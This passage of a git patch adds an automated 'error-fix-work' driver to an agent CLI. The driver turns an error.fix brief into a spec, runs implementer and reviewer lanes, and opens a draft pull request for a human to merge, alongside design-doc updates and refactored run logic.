From 94731a5081462022a041f26c0a7a2bf8eb817087 Mon Sep 17 00:00:00 2001 From: Daniel Padrino Date: Wed, 2 Sep 2026 01:57:58 -0300 Subject: [PATCH 01/47] 9559e7d4 - Build the error-fix fixer: drive an error.fix conclusion to a draft PR unattended Adds agent watch error-fix-work, a script-only driver (no Claude session, no human) that takes an error.fix conclusion's brief, authors the implement spec, runs the implementer/reviewer/PR-reviewer round loop via a hardcoded STATUS+FINDINGS pass/fail/retry rule, and pushes to a draft PR. Narrow, payload-scoped carve-out lets spec_written be script-authored only for error-fix-originated tasks; every other implement task is untouched. Co-Authored-By: Claude Sonnet 5 Claude-Session: https://claude.ai/code/session_017TZHqRN57WvdUXvYdmLVZe --- DESIGN.md | 13 + src/agent_cli/chain.py | 19 +- src/agent_cli/fixer_act.py | 554 +++++++++++++++++++++++ src/agent_cli/lane.py | 50 +++ src/agent_cli/main.py | 261 ++++------- src/agent_cli/run_core.py | 885 +++++++++++++++++++++++++++++++++++++ tests/test_fixer_act.py | 452 +++++++++++++++++++ tests/test_run.py | 156 ++++++- 8 files changed, 2194 insertions(+), 196 deletions(-) create mode 100644 src/agent_cli/fixer_act.py create mode 100644 src/agent_cli/run_core.py create mode 100644 tests/test_fixer_act.py diff --git a/DESIGN.md b/DESIGN.md index 661c739..5160d1f 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -665,10 +665,23 @@ The model never receives production credentials. Analysis that only reads the ex `agent watch error-fix` find-or-creates the implement task and clones `https://github.com/.git` into `$AGENT_HOME/error-fix-work/`; `agent github pending` still opens drafts, and a retry draft uses the existing head `error-fix-`. +`spec_written` stays human-only for ordinary implement tasks (`HUMAN_KEYS`, step kind `human`). Exception: when the task payload carries `error_id` (error-fix-originated), `close-step --source script` may set `spec_written=ja` with evidence. Evidence is still mandatory. + ### 21.6 Not in this revision - A second hub state machine, leases, or autonomous merge +### 21.7 Automated fixer driver + +`agent watch error-fix-work` drains open error-fix `implement` tasks on this device (`payload.error_id` set, state not `done`/`failed`) from `spec_written` through a draft `pr.open`, using only script control flow and the `grok`/`codex` CLIs via `lane.launch()`. It is not wired into `agent daemon`. + +- Scripts the five-part spec under `$AGENT_HOME/error-fix-work//.spec.md` from the `error.fix` brief plus `error.seen` metadata (never raw log excerpts), closes `spec_written` via the script carve-out above, then `agent round start`. +- Walks the spine with the same step executor as `agent run` (including auto pass/fail for reviewer and PR-reviewer lanes from `STATUS:` + `FINDINGS:`). Round retries reset the relevant checklist keys to `nein` and call `agent round start`. Cap is `task.current_round` against 5: exceeding it sets `task state failed` and stops touching that task. +- If a vendor CLI binary is missing (`OSError` / `FileNotFoundError` before any `LaneResult`) or a lane returns `LaneResult(status="unavailable")` on both the initial attempt and the one retry, the driver mutates nothing for that task, notes the CLI looks unavailable, and moves on — the next scan retries after a human fixes PATH/auth. +- Each scan re-checks from the ledger (not per-call local state) whether `pushed` is closed but no `pr.open` activity row exists yet for that task's branch head; if so it retries the insertion — so a failed insert is not silently skipped by the next scan. +- After `pushed`, inserts a pending `pr.open` (title/body per CONTRIBUTING) and runs `agent github pending`. +- Failing a task via lane retry-exhaustion also finishes the still-working agent row (`blocked` for implementer, `rejected` for reviewer/pr-reviewer roles) so the row does not block a later manual round-start recovery. + ## 22. Static supervise loop (v1) A second model must not orchestrate the first. `agent supervise` is a **script** with locked questions and locked answers. Model text is not a state transition. diff --git a/src/agent_cli/chain.py b/src/agent_cli/chain.py index 79bf320..8dd0341 100644 --- a/src/agent_cli/chain.py +++ b/src/agent_cli/chain.py @@ -246,6 +246,14 @@ def required_source(step: Step) -> str: return "script" +def is_error_fix_originated(snapshot: dict[str, Any] | None) -> bool: + """True when the task payload carries an error_id (error-fix skill).""" + if not isinstance(snapshot, dict): + return False + payload = snapshot.get("payload") + return isinstance(payload, dict) and bool(payload.get("error_id")) + + @dataclass(frozen=True) class CloseVerdict: allowed: bool @@ -270,7 +278,16 @@ def close_allowed( return CloseVerdict(False, f"{key} requires evidence", step) want = required_source(step) if source != want: - return CloseVerdict(False, f"{key} requires --source {want} (got {source})", step) + # error-fix implement tasks may script-author spec_written; HUMAN_KEYS + # and Step.kind stay human so every other implement task is unchanged. + if not ( + key == "spec_written" + and source == "script" + and is_error_fix_originated(snapshot) + ): + return CloseVerdict( + False, f"{key} requires --source {want} (got {source})", step + ) ready = next_steps(workflow, checklist, spine_only=False) if step not in ready: pending = ",".join(s.key for s in next_steps(workflow, checklist, spine_only=True)) or "-" diff --git a/src/agent_cli/fixer_act.py b/src/agent_cli/fixer_act.py new file mode 100644 index 0000000..13eb779 --- /dev/null +++ b/src/agent_cli/fixer_act.py @@ -0,0 +1,554 @@ +"""Automated fixer driver for error-fix implement tasks. + +Drains open tasks with payload.error_id from spec_written through a draft +pr.open using script control flow and lane.launch() only — no Claude session. +""" + +from __future__ import annotations + +import uuid +from collections.abc import Callable +from pathlib import Path +from typing import Any + +from .chain import close_allowed, is_error_fix_originated, next_steps +from .error_fix_act import _error_seen, _nonempty_str, _repo_ok +from .runtime import Completed +from .run_core import DEFAULT_ROUND_CAP, RunOutcome, execute_spine_step +from .store import Store, StoreError + +Runner = Callable[[list[str]], Completed] + +# Bound the per-task step loop (rounds × spine length, with headroom). +_MAX_STEPS_PER_TASK = 40 + + +def _error_fix_brief(store: Store, session_id: str, error_id: str) -> str | None: + """Return payload.brief from the session's error.fix row for this error_id.""" + origin = store.device_id() + for row in store.rows("activity"): + if row.get("_origin_device_id") != origin: + continue + if row.get("session_id") != session_id: + continue + if row.get("type") != "error.fix": + continue + payload = row.get("payload") + if not isinstance(payload, dict) or payload.get("error_id") != error_id: + continue + brief = payload.get("brief") + if isinstance(brief, str) and brief.strip(): + return brief.strip() + return None + + +def write_error_fix_spec( + store: Store, + tid: str, + *, + error_id: str, + session_id: str, + repo: str, +) -> Path: + """Write a five-part spec under $AGENT_HOME/error-fix-work//.spec.md.""" + seen = _error_seen(store, session_id, error_id) + seen_payload = seen.get("payload") if isinstance(seen.get("payload"), dict) else {} + brief = _error_fix_brief(store, session_id, error_id) or "" + fingerprint = _nonempty_str(seen_payload.get("fingerprint")) or "" + service = _nonempty_str(seen_payload.get("service")) or "" + environment = _nonempty_str(seen_payload.get("environment")) or "" + class_name = _nonempty_str(seen_payload.get("class")) or "" + # Never feed raw log excerpt fields into the spec (DESIGN.md §19.2). + parent = Path(store.home) / "error-fix-work" / tid + parent.mkdir(mode=0o700, parents=True, exist_ok=True) + path = parent / ".spec.md" + body = ( + f"# Context\n\n" + f"- repo: `{repo}`\n" + f"- error_id: `{error_id}`\n" + f"- fingerprint: `{fingerprint}`\n" + f"- service: `{service}`\n" + f"- environment: `{environment}`\n" + f"- class: `{class_name}`\n\n" + f"# Task\n\n" + f"{brief or '(no brief provided)'}\n\n" + f"# Constraints\n\n" + f"- Patch only what the brief requires.\n" + f"- Do not commit secrets, credentials, or raw production log lines.\n" + f"- Follow the target repository CONTRIBUTING.\n" + f"- Open a draft pull request only; a human merges.\n\n" + f"# Verification\n\n" + f"- Run the repository's usual local check (typically `pytest -q`).\n" + f"- Confirm the failure mode described by the brief is addressed.\n\n" + f"# Definition of Done\n\n" + f"- Spec implemented and inner reviewer approved.\n" + f"- Local checks pass; branch pushed; draft PR opened.\n" + f"- Four PR-review gates approved on this head (or allowed n_a).\n" + ) + path.write_text(body, encoding="utf-8") + return path + + +def template_pr_open_payload( + *, + session_id: str, + repo: str, + error_id: str, + brief: str, + fingerprint: str, + title_suffix: str | None = None, +) -> dict[str, Any]: + """Build pr.open payload (repo/title/head/body) per CONTRIBUTING.md.""" + short = error_id[:8] + head = f"error-fix-{short}" + suffix = (title_suffix or brief or f"error-fix {short}").strip() + # One-line title body after the session prefix. + if "\n" in suffix: + suffix = suffix.splitlines()[0].strip() + if len(suffix) > 72: + suffix = suffix[:69] + "..." + title = f"{session_id[:8]} - {suffix}" + en = ( + f"Automated error-fix for `{fingerprint or short}` in `{repo}`. " + f"Draft only; a human merges. " + f"Brief: {brief[:200] if brief else 'see task spec'}." + ) + de = ( + f"Automatischer error-fix für `{fingerprint or short}` in `{repo}`. " + f"Nur Entwurf; ein Mensch merged. " + f"Brief: {brief[:200] if brief else 'siehe Task-Spec'}." + ) + details = ( + f"
\n" + f"Details\n\n" + f"- error_id: `{error_id}`\n" + f"- fingerprint: `{fingerprint}`\n" + f"- head: `{head}`\n" + f"- brief:\n\n```\n{brief or '(none)'}\n```\n\n" + f"
\n" + ) + body = f"EN:\n{en}\n\nDE:\n{de}\n\n{details}" + return { + "repo": repo, + "title": title, + "head": head, + "body": body, + } + + +def _pr_open_row_exists(store: Store, *, head: str) -> bool: + """True when a pr.open activity row already exists for this branch head.""" + origin = store.device_id() + for row in store.rows("activity"): + if row.get("_origin_device_id") != origin: + continue + if row.get("type") != "pr.open": + continue + payload = row.get("payload") + if isinstance(payload, dict) and payload.get("head") == head: + return True + return False + + +def insert_pr_open_and_scan( + store: Store, + *, + session_id: str, + payload: dict[str, Any], + runner: Runner, +) -> list[str]: + """Insert pending pr.open (cmd_activity-equivalent) and run scan_github. + + Direct store.write mirrors cmd_activity's non-error-fix branch for + ACTIVITY_TYPES members (same pattern as error_fix_act owning its rows). + """ + from .github_act import scan_github + + activity_id = str(uuid.uuid4()) + store.write( + "activity", + "insert", + activity_id, + { + "id": activity_id, + "session_id": session_id, + "type": "pr.open", + "payload": payload, + "execution_status": "pending", + }, + ) + return scan_github(store, runner) + + +def _close_spec_written(store: Store, tid: str, *, error_id: str, evidence: str) -> None: + from . import main as main_mod + + snap = main_mod._chain_snapshot(store, tid) + wf = str(snap["workflow"]) + verdict = close_allowed( + wf, + "spec_written", + checklist=snap["checklist"], + source="script", + evidence=evidence, + snapshot=snap, + ) + if not verdict.allowed: + raise StoreError(verdict.reason) + main_mod.cmd_close_step( + [ + "--task", + tid, + "--key", + "spec_written", + "--source", + "script", + "--evidence", + evidence, + ] + ) + + +def _contributing_ok_evidence(snap: dict[str, Any]) -> str: + """Cite approved PR-gate records already in the ledger (vendor/dim/verdict@head).""" + want = ( + ("grok", "quality"), + ("grok", "logic"), + ("codex", "quality"), + ("codex", "logic"), + ) + by_key: dict[tuple[str, str], dict[str, Any]] = {} + for g in snap.get("gates") or []: + if not isinstance(g, dict): + continue + vendor = str(g.get("vendor") or "") + dim = str(g.get("dimension") or "") + by_key[(vendor, dim)] = g + parts: list[str] = [] + head = "" + for vendor, dim in want: + g = by_key.get((vendor, dim)) or {} + verd = str(g.get("verdict") or "missing") + sha = str(g.get("head_sha") or "") + if sha and not head: + head = sha + parts.append(f"{vendor}/{dim}={verd}@{sha or '-'}") + head_bit = f" head={head}" if head else "" + return f"PR gates approved: {', '.join(parts)}{head_bit}" + + +def _ensure_done_readiness(store: Store, tid: str, *, brief: str) -> None: + """Set n_a deviation keys + summaries so task-done can pass.""" + from . import main as main_mod + + checklist = { + str(r["key"]): str(r["status"]) + for r in store.rows("checklist_item") + if r.get("task_id") == tid + } + for key in ("deviation_declared", "deviation_granted"): + if checklist.get(key) in (None, "pending", "nein"): + main_mod.cmd_checklist( + [ + "set", + "--task", + tid, + "--key", + key, + "--status", + "n_a", + "--source", + "script", + "--evidence", + "error-fix auto: no deviation", + ] + ) + if checklist.get("contributing_ok") in (None, "pending", "nein"): + snap = main_mod._chain_snapshot(store, tid) + ready = next_steps(str(snap["workflow"]), snap["checklist"], spine_only=True) + if ready and ready[0].key == "contributing_ok": + main_mod.cmd_close_step( + [ + "--task", + tid, + "--key", + "contributing_ok", + "--source", + "script", + "--evidence", + _contributing_ok_evidence(snap), + ] + ) + task = store.row("task", tid) + if task is None: + return + en = (task.get("change_summary_en") or "").strip() + de = (task.get("change_summary_de") or "").strip() + if not en or not de: + one = (brief or task.get("title") or "error-fix").splitlines()[0].strip() + if len(one) > 120: + one = one[:117] + "..." + main_mod.cmd_task( + [ + "summary", + "--id", + tid, + "--en", + one or "error-fix patch.", + "--de", + one or "error-fix Patch.", + ] + ) + + +def _open_error_fix_tasks(store: Store) -> list[dict[str, Any]]: + origin = store.device_id() + out: list[dict[str, Any]] = [] + for row in store.rows("task"): + if row.get("_origin_device_id") != origin: + continue + if row.get("workflow") != "implement": + continue + state = str(row.get("state") or "") + if state in ("done", "failed"): + continue + payload = row.get("payload") + if not isinstance(payload, dict) or not payload.get("error_id"): + continue + out.append(row) + out.sort(key=lambda r: str(r.get("id") or "")) + return out + + +def _drive_one( + store: Store, + task: dict[str, Any], + runner: Runner, + *, + round_cap: int, + lane_runner: Any = None, +) -> str: + from . import main as main_mod + + tid = str(task["id"]) + session_id = str(task.get("session_id") or "") + payload = task.get("payload") if isinstance(task.get("payload"), dict) else {} + error_id = str(payload.get("error_id") or "") + repo = _repo_ok(payload.get("repo") or task.get("repo")) or "" + brief = _error_fix_brief(store, session_id, error_id) or "" + worktree = Path(store.home) / "error-fix-work" / tid + cwd = str(worktree) if worktree.is_dir() else str(store.home) + # Thread pushed SHA across steps (mirrors cmd_run's extra_head=head). + head: str | None = None + steps = 0 + + while steps < _MAX_STEPS_PER_TASK: + steps += 1 + task = store.row("task", tid) or task + if str(task.get("state") or "") in ("done", "failed"): + return f"error-fix-work {tid} state={task.get('state')}" + + snap = main_mod._chain_snapshot(store, tid, extra_head=head) + if not is_error_fix_originated(snap): + return f"error-fix-work {tid} skip (not error-fix)" + snap_head = str(snap.get("head_sha") or "").strip() + if snap_head and not head: + head = snap_head + + checklist = snap["checklist"] + if ( + error_id + and repo + and checklist.get("pushed") == "ja" + and not _pr_open_row_exists(store, head=f"error-fix-{error_id[:8]}") + ): + try: + seen = _error_seen(store, session_id, error_id) + seen_payload = ( + seen.get("payload") if isinstance(seen.get("payload"), dict) else {} + ) + fingerprint = _nonempty_str(seen_payload.get("fingerprint")) or "" + pr_payload = template_pr_open_payload( + session_id=session_id, + repo=repo, + error_id=error_id, + brief=brief, + fingerprint=fingerprint, + title_suffix=str(task.get("title") or ""), + ) + insert_pr_open_and_scan( + store, session_id=session_id, payload=pr_payload, runner=runner + ) + except (StoreError, OSError, SystemExit) as exc: + return f"error-fix-work {tid} pr.open-error ({exc})" + # Fall through so this scan can continue the spine; next scan + # skips once the pr.open row exists. + + ready = next_steps(str(snap["workflow"]), snap["checklist"], spine_only=True) + if not ready: + _ensure_done_readiness(store, tid, brief=brief) + try: + main_mod.cmd_task(["state", tid, "done"]) + except SystemExit as exc: + return f"error-fix-work {tid} done-blocked ({exc})" + return f"error-fix-work {tid} done" + + step = ready[0] + + if step.key == "spec_written": + if not error_id or not repo: + return f"error-fix-work {tid} failed (missing error_id/repo)" + write_error_fix_spec( + store, + tid, + error_id=error_id, + session_id=session_id, + repo=repo, + ) + evidence = f"auto spec from error.fix brief (error_id={error_id[:8]})" + try: + _close_spec_written(store, tid, error_id=error_id, evidence=evidence) + except (StoreError, SystemExit) as exc: + return f"error-fix-work {tid} spec_written-blocked ({exc})" + # First round (current_round 0 → 1), same as test_run bootstrap. + main_mod.cmd_round(["start", "--task", tid]) + continue + + if step.key == "contributing_ok": + try: + main_mod.cmd_close_step( + [ + "--task", + tid, + "--key", + "contributing_ok", + "--source", + "script", + "--evidence", + _contributing_ok_evidence(snap), + ] + ) + except SystemExit as exc: + return f"error-fix-work {tid} contributing_ok-blocked ({exc})" + continue + + spec_path = worktree / ".spec.md" + if not spec_path.is_file() and error_id and repo: + write_error_fix_spec( + store, + tid, + error_id=error_id, + session_id=session_id, + repo=repo, + ) + + try: + outcome: RunOutcome = execute_spine_step( + store, + tid, + head=head, + spec_file=str(spec_path) if spec_path.is_file() else None, + cwd=cwd, + tmux=False, + runner=lane_runner, + round_cap=round_cap, + # cwd-aware like main._exec_argv so local_check_pass runs in worktree. + exec_argv=lambda argv, cwd=None: _runner_to_completed( + runner, argv, cwd=cwd + ), + ) + except OSError as exc: + # Missing vendor CLI binary: mutate nothing, leave task for next scan. + return ( + f"error-fix-work {tid} vendor-cli-unavailable " + f"({type(exc).__name__}: {exc})" + ) + + if outcome.head_sha: + head = outcome.head_sha + + if outcome.kind == "idle": + _ensure_done_readiness(store, tid, brief=brief) + try: + main_mod.cmd_task(["state", tid, "done"]) + except SystemExit as exc: + return f"error-fix-work {tid} done-blocked ({exc})" + return f"error-fix-work {tid} done" + + if outcome.kind == "human_required": + return f"error-fix-work {tid} human-required key={outcome.key}" + + if outcome.kind == "failed": + return ( + f"error-fix-work {tid} failed " + f"({outcome.message or outcome.reason or 'failed'})" + ) + + if outcome.kind == "local_check_failed": + return f"error-fix-work {tid} failed (local_check)" + + if outcome.kind == "agent_handoff": + return f"error-fix-work {tid} blocked (agent handoff key={outcome.key})" + + if outcome.kind == "not_closable": + return ( + f"error-fix-work {tid} not-closable " + f"key={outcome.key} ({outcome.reason})" + ) + + if outcome.kind == "vendor_unavailable": + return ( + f"error-fix-work {tid} vendor-cli-unavailable " + f"({outcome.reason or outcome.message or 'lane unavailable'})" + ) + + if outcome.kind == "rejected_new_round": + # Continue loop — implementer_done is open again on the new round. + continue + + if outcome.kind in ("closed", "agent_closed", "rejected_new_round"): + continue + + return f"error-fix-work {tid} stop kind={outcome.kind}" + + return f"error-fix-work {tid} step-cap" + + +def _runner_to_completed( + runner: Runner, argv: list[str], *, cwd: str | None = None +) -> Completed: + """Run argv; honor cwd like main._exec_argv so checks use the worktree.""" + import subprocess + + try: + if cwd is not None: + proc = subprocess.run( # noqa: S603 + argv, cwd=cwd, capture_output=True, text=True, check=False + ) + return Completed(proc.returncode, proc.stdout or "", proc.stderr or "") + return runner(argv) + except OSError as exc: + return Completed(127, "", str(exc)) + + +def drive_error_fix_tasks( + store: Store, + runner: Runner, + *, + round_cap: int = DEFAULT_ROUND_CAP, + lane_runner: Any = None, +) -> list[str]: + """Drive every open error-fix implement task one scan. Return summary lines.""" + with store.exclusive("error-fix-work:" + store.device_id()): + lines: list[str] = [] + for task in _open_error_fix_tasks(store): + lines.append( + _drive_one( + store, + task, + runner, + round_cap=round_cap, + lane_runner=lane_runner, + ) + ) + return lines diff --git a/src/agent_cli/lane.py b/src/agent_cli/lane.py index 0e46ee1..6716000 100644 --- a/src/agent_cli/lane.py +++ b/src/agent_cli/lane.py @@ -26,6 +26,56 @@ r"(?m)^STATUS:[ \t]*(complete|partial|timeout|unavailable)[ \t]*\r?$", re.IGNORECASE, ) +# FINDINGS section: header line, then entries until the next ALL-CAPS section header +# (STATUS / REASON / SCOPE / DIMENSION / NOT-VERIFIABLE / GAPS / …) or end of text. +_FINDINGS_HEADER_RE = re.compile(r"(?m)^FINDINGS:[ \t]*(.*)$", re.IGNORECASE) +_SECTION_HEADER_RE = re.compile(r"(?m)^[A-Z][A-Z0-9_-]*:[ \t]") +_ZERO_TOKENS = frozenset({"", "0", "none", "n/a", "-", "—", "–"}) + + +def findings_header_present(text: str) -> bool: + """True when a FINDINGS: section header is present (parseable report).""" + return _FINDINGS_HEADER_RE.search(text) is not None + + +def count_findings(text: str) -> int: + """Count non-empty FINDINGS entries. Empty / 0 / none → 0. + + Absent FINDINGS: header also returns 0; callers that must distinguish + "explicitly zero" from "unparseable" should use findings_header_present(). + + Calibrated to the grok-reviewer / codex-reviewer report contract: + STATUS / REASON / SCOPE / DIMENSION / FINDINGS / NOT-VERIFIABLE / GAPS. + """ + match = _FINDINGS_HEADER_RE.search(text) + if match is None: + return 0 + same_line = (match.group(1) or "").strip() + after = text[match.end() :] + body_lines: list[str] = [] + if same_line: + body_lines.append(same_line) + for line in after.splitlines(): + if _SECTION_HEADER_RE.match(line): + break + body_lines.append(line) + entries = 0 + for raw in body_lines: + stripped = raw.strip() + if not stripped: + continue + # bullet / numbered prefixes + for prefix in ("- ", "* ", "• "): + if stripped.startswith(prefix): + stripped = stripped[len(prefix) :].strip() + break + else: + if len(stripped) > 2 and stripped[0].isdigit() and stripped[1] in ".)": + stripped = stripped[2:].strip() + if stripped.lower() in _ZERO_TOKENS: + continue + entries += 1 + return entries @dataclass diff --git a/src/agent_cli/main.py b/src/agent_cli/main.py index f85449b..438d9bd 100644 --- a/src/agent_cli/main.py +++ b/src/agent_cli/main.py @@ -2133,6 +2133,7 @@ def load_task_dict(store: Store, tid: str) -> dict: }, "gates": gates, "local_checks": local_checks, + "payload": task.get("payload") or {}, } @@ -2178,6 +2179,7 @@ def _chain_snapshot(store: Store, tid: str, extra_head: str | None = None) -> di "workflow": task.get("workflow"), "checklist": task.get("checklist") or {}, "session_id": sid, + "payload": task.get("payload") or {}, } @@ -2499,6 +2501,8 @@ def _agent_handoff_exit(step, tid: str, session_id: str | None) -> None: def cmd_run(args: list[str]) -> None: + from .run_core import execute_spine_step + tid = flag(args, "--task") head = flag(args, "--head") dry = "--dry-run" in args @@ -2509,12 +2513,9 @@ def cmd_run(args: list[str]) -> None: "Usage: agent run --task ID [--dry-run] [--head SHA] " "[--cwd PATH] [--spec-file PATH] [--no-tmux]" ) - close_key: str | None = None - close_evidence: str | None = None - evidence: str | None = None store = open_store() try: - task = _require_task_session_active(store, tid) + _require_task_session_active(store, tid) snap = _chain_snapshot(store, tid, extra_head=head) wf = str(snap["workflow"]) ready = next_steps(wf, snap["checklist"], spine_only=True) @@ -2533,201 +2534,73 @@ def cmd_run(args: list[str]) -> None: ) ) return - if step.kind == "human": - print( - f"agent: human must close {step.key} (close-step --source human)", - file=sys.stderr, - ) - raise SystemExit(2) - if step.key == "pushed": + cwd: str | None = None + if step.key in ("pushed", "mergeable", "local_check_pass") or ( + step.kind == "agent" and spec_file is not None + ): cwd = _resolve_run_cwd(args) - from .git_act import GitActError, push_branch - - try: - sha = push_branch( - cwd=cwd, runner=lambda argv: _exec_argv(argv, cwd=cwd) - ) - except GitActError as exc: - die(str(exc)) - if head is not None: - want = head.lower() - if want != sha and not ( - 7 <= len(want) < len(sha) and sha.startswith(want) - ): - die(f"--head {head} does not match pushed sha {sha}") - head = sha - snap = _chain_snapshot(store, tid, extra_head=head) - - if step.key == "mergeable": - cwd = _resolve_run_cwd(args) - from .git_act import GitActError, measure_mergeable - - try: - expected = str(snap.get("head_sha") or head or "").strip() or None - evidence = measure_mergeable( - cwd=cwd, - runner=lambda argv: _exec_argv(argv, cwd=cwd), - expected_head=expected, - ) - except GitActError as exc: - die(str(exc)) - if step.key in NO_AUTO_CLOSE: + tmux = "--no-tmux" not in args + outcome = execute_spine_step( + store, + tid, + head=head, + dry_run=False, + spec_file=spec_file, + cwd=cwd, + tmux=tmux, + exec_argv=_exec_argv, + ) + printed: set[int] = set() + for lr in outcome.lane_results: + _print_lane_result(lr) + printed.add(id(lr)) + if outcome.lane_result is not None and id(outcome.lane_result) not in printed: + _print_lane_result(outcome.lane_result) + + if outcome.kind == "human_required": print( - f"agent: {step.key} is not auto-closable — " - "close-step --source script --evidence …", + f"agent: human must close {outcome.key} (close-step --source human)", file=sys.stderr, ) raise SystemExit(2) - if step.key == "local_check_pass" and not snap["local_checks"]: - cwd = _resolve_run_cwd(args) - env_cmd = os.environ.get("AGENT_CHECK_COMMAND") - if env_cmd is None: - command = "pytest -q" - elif env_cmd == "": - die("AGENT_CHECK_COMMAND is set but empty") - else: - command = env_cmd - argv = shlex.split(command) - if not argv: - die("check command is empty") - completed = _exec_argv(argv, cwd=cwd) - result = "pass" if completed.returncode == 0 else "fail" - output = ((completed.stdout or "") + (completed.stderr or ""))[:8000] - cmd_check( - [ - "record", - "--task", - tid, - "--name", - "local", - "--command", - command, - "--result", - result, - "--output", - output or "(no output)", - ] + if outcome.kind == "agent_handoff": + handoff_step = outcome.step or step + _agent_handoff_exit( + handoff_step, tid, str(snap.get("session_id")) ) - if result == "fail": - raise SystemExit(2) - snap = _chain_snapshot(store, tid, extra_head=head) - if step.kind == "agent": - already = close_allowed( - wf, - step.key, - checklist=snap["checklist"], - source="script", - evidence="run auto", - snapshot=snap, - ) - if already.allowed: - close_key = step.key - close_evidence = f"run auto:{already.reason}" - elif spec_file is not None: - spec_path = Path(spec_file) - if not spec_path.is_file(): - die(f"spec-file not found: {spec_file}") - if not spec_path.read_text(encoding="utf-8").strip(): - die(f"spec-file is empty: {spec_file}") - cwd = _resolve_run_cwd(args) - tmux = "--no-tmux" not in args - role = str(step.role or "") - vendor = str(step.vendor or "") - session_id = str(snap.get("session_id") or "") - current_round = int(task.get("current_round") or 0) - round_num: int | None = None - if role in ("implementer", "reviewer"): - round_num = current_round - working = _find_working_agent( - store, tid, role=role, vendor=vendor, round_num=round_num - ) - if working is None: - start_args = [ - "start", - "--session", - session_id, - "--task", - tid, - "--role", - role, - "--vendor", - vendor, - ] - if round_num is not None: - start_args.extend(["--round", str(round_num)]) - cmd_agent(start_args) - result = launch( - role=role, - vendor=vendor, - spec_file=spec_file, - cwd=cwd, - tmux=tmux, + if outcome.kind == "not_closable": + if outcome.key in NO_AUTO_CLOSE: + print( + f"agent: {outcome.key} is not auto-closable — " + "close-step --source script --evidence …", + file=sys.stderr, ) - _print_lane_result(result) - if role == "implementer" and result.status == "complete": - working = _find_working_agent( - store, tid, role=role, vendor=vendor, round_num=round_num - ) - if working is None: - die("implementer working agent not found after lane") - cmd_agent( - [ - "finish", - "--id", - str(working["id"]), - "--verdict", - "done", - "--note", - "lane STATUS=complete", - ] - ) - snap = _chain_snapshot(store, tid, extra_head=head) - task = _need(store, "task", tid) - else: - _agent_handoff_exit(step, tid, str(snap.get("session_id"))) else: - _agent_handoff_exit(step, tid, str(snap.get("session_id"))) - if close_key is None: - close_ev = ( - evidence - if step.key == "mergeable" - else "run auto" - ) - verdict = close_allowed( - wf, - step.key, - checklist=snap["checklist"], - source="script", - evidence=close_ev, - snapshot=snap, - ) - if not verdict.allowed: print( - f"agent: script step {step.key} not closable: {verdict.reason}", + f"agent: script step {outcome.key} not closable: {outcome.reason}", file=sys.stderr, ) - raise SystemExit(2) - close_key = step.key - close_evidence = ( - evidence - if step.key == "mergeable" - else f"run auto:{verdict.reason}" + raise SystemExit(2) + if outcome.kind == "vendor_unavailable": + print( + f"agent: vendor unavailable for {outcome.key}: " + f"{outcome.reason or outcome.message}", + file=sys.stderr, + ) + raise SystemExit(2) + if outcome.kind == "local_check_failed": + raise SystemExit(2) + if outcome.kind == "failed": + die(outcome.message or outcome.reason or "run failed") + if outcome.kind == "rejected_new_round": + print( + f"run task={tid} {outcome.message or 'rejected; new round started'}" ) + return + # closed | agent_closed — ledger already updated by execute_spine_step + return finally: store.close() - close_args = [ - "--task", - tid, - "--key", - str(close_key), - "--source", - "script", - "--evidence", - str(close_evidence), - ] - if head: - close_args.extend(["--head", head]) - cmd_close_step(close_args) def cmd_github(args: list[str]) -> None: @@ -3078,10 +2951,12 @@ def cmd_watch(args: list[str]) -> None: "grok-usage", "errors", "error-fix", + "error-fix-work", ): die( "Usage: agent watch " - "pr-merged|pending|assigned [--follow]|grok-usage|errors|error-fix" + "pr-merged|pending|assigned [--follow]|grok-usage|errors|" + "error-fix|error-fix-work" ) store = open_store() try: @@ -3115,7 +2990,8 @@ def cmd_watch(args: list[str]) -> None: if extra not in ([], ["--follow"]): die( "Usage: agent watch " - "pr-merged|pending|assigned [--follow]|grok-usage|errors|error-fix" + "pr-merged|pending|assigned [--follow]|grok-usage|errors|" + "error-fix|error-fix-work" ) follow = extra == ["--follow"] while True: @@ -3174,6 +3050,17 @@ def cmd_watch(args: list[str]) -> None: for line in lines: print(line) return + if args[0] == "error-fix-work": + from .fixer_act import drive_error_fix_tasks + from .runtime import run_argv + + lines = drive_error_fix_tasks(store, run_argv) + if not lines: + print("error-fix-work none") + return + for line in lines: + print(line) + return from .pending import scan_pending hub = _hub_from_store(store) diff --git a/src/agent_cli/run_core.py b/src/agent_cli/run_core.py new file mode 100644 index 0000000..1481f25 --- /dev/null +++ b/src/agent_cli/run_core.py @@ -0,0 +1,885 @@ +"""Shared spine-step executor for `agent run` and the error-fix fixer driver. + +Performs ledger writes and lane launches. Does not print, die, or raise +SystemExit — callers map RunOutcome to CLI text / exit codes. +OSError from a missing vendor CLI binary propagates (fixer catches it). +""" + +from __future__ import annotations + +import os +import re +import shlex +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any, Callable + +from .chain import NO_AUTO_CLOSE, Step, close_allowed, next_steps +from .lane import LaneResult, count_findings, findings_header_present, launch + +DEFAULT_ROUND_CAP = 5 +_SHA_RE = re.compile(r"^[0-9a-f]{7,40}$") + +# Checklist keys reset when a PR-reviewer dimension is rejected (new head). +_PR_REJECT_RESET_KEYS = ( + "implementer_done", + "reviewer_approved", + "local_check_pass", + "pushed", + "grok_pr_quality", + "grok_pr_logic", + "codex_pr_quality", + "codex_pr_logic", +) + +# Inner reviewer rejection reopens the implementer→reviewer cycle. +_REVIEWER_REJECT_RESET_KEYS = ("implementer_done", "reviewer_approved") + + +@dataclass +class RunOutcome: + """Result of one spine-step attempt.""" + + kind: str + # idle | human_required | not_closable | dry_run | closed | agent_handoff | + # agent_closed | rejected_new_round | failed | local_check_failed | vendor_unavailable + key: str | None = None + reason: str | None = None + step: Step | None = None + head_sha: str | None = None + lane_result: LaneResult | None = None + lane_results: list[LaneResult] = field(default_factory=list) + close_evidence: str | None = None + verdict: str | None = None # approved|rejected|done|… when an agent finished + message: str | None = None + + +def _checklist_set(tid: str, key: str, status: str, *, evidence: str | None = None) -> None: + from . import main as main_mod + + args = [ + "set", + "--task", + tid, + "--key", + key, + "--status", + status, + "--source", + "script", + ] + if evidence is not None: + args.extend(["--evidence", evidence]) + main_mod.cmd_checklist(args) + + +def _round_start(tid: str) -> None: + from . import main as main_mod + + main_mod.cmd_round(["start", "--task", tid]) + + +def _agent_start( + *, + session_id: str, + tid: str, + role: str, + vendor: str, + round_num: int | None, +) -> None: + from . import main as main_mod + + args = [ + "start", + "--session", + session_id, + "--task", + tid, + "--role", + role, + 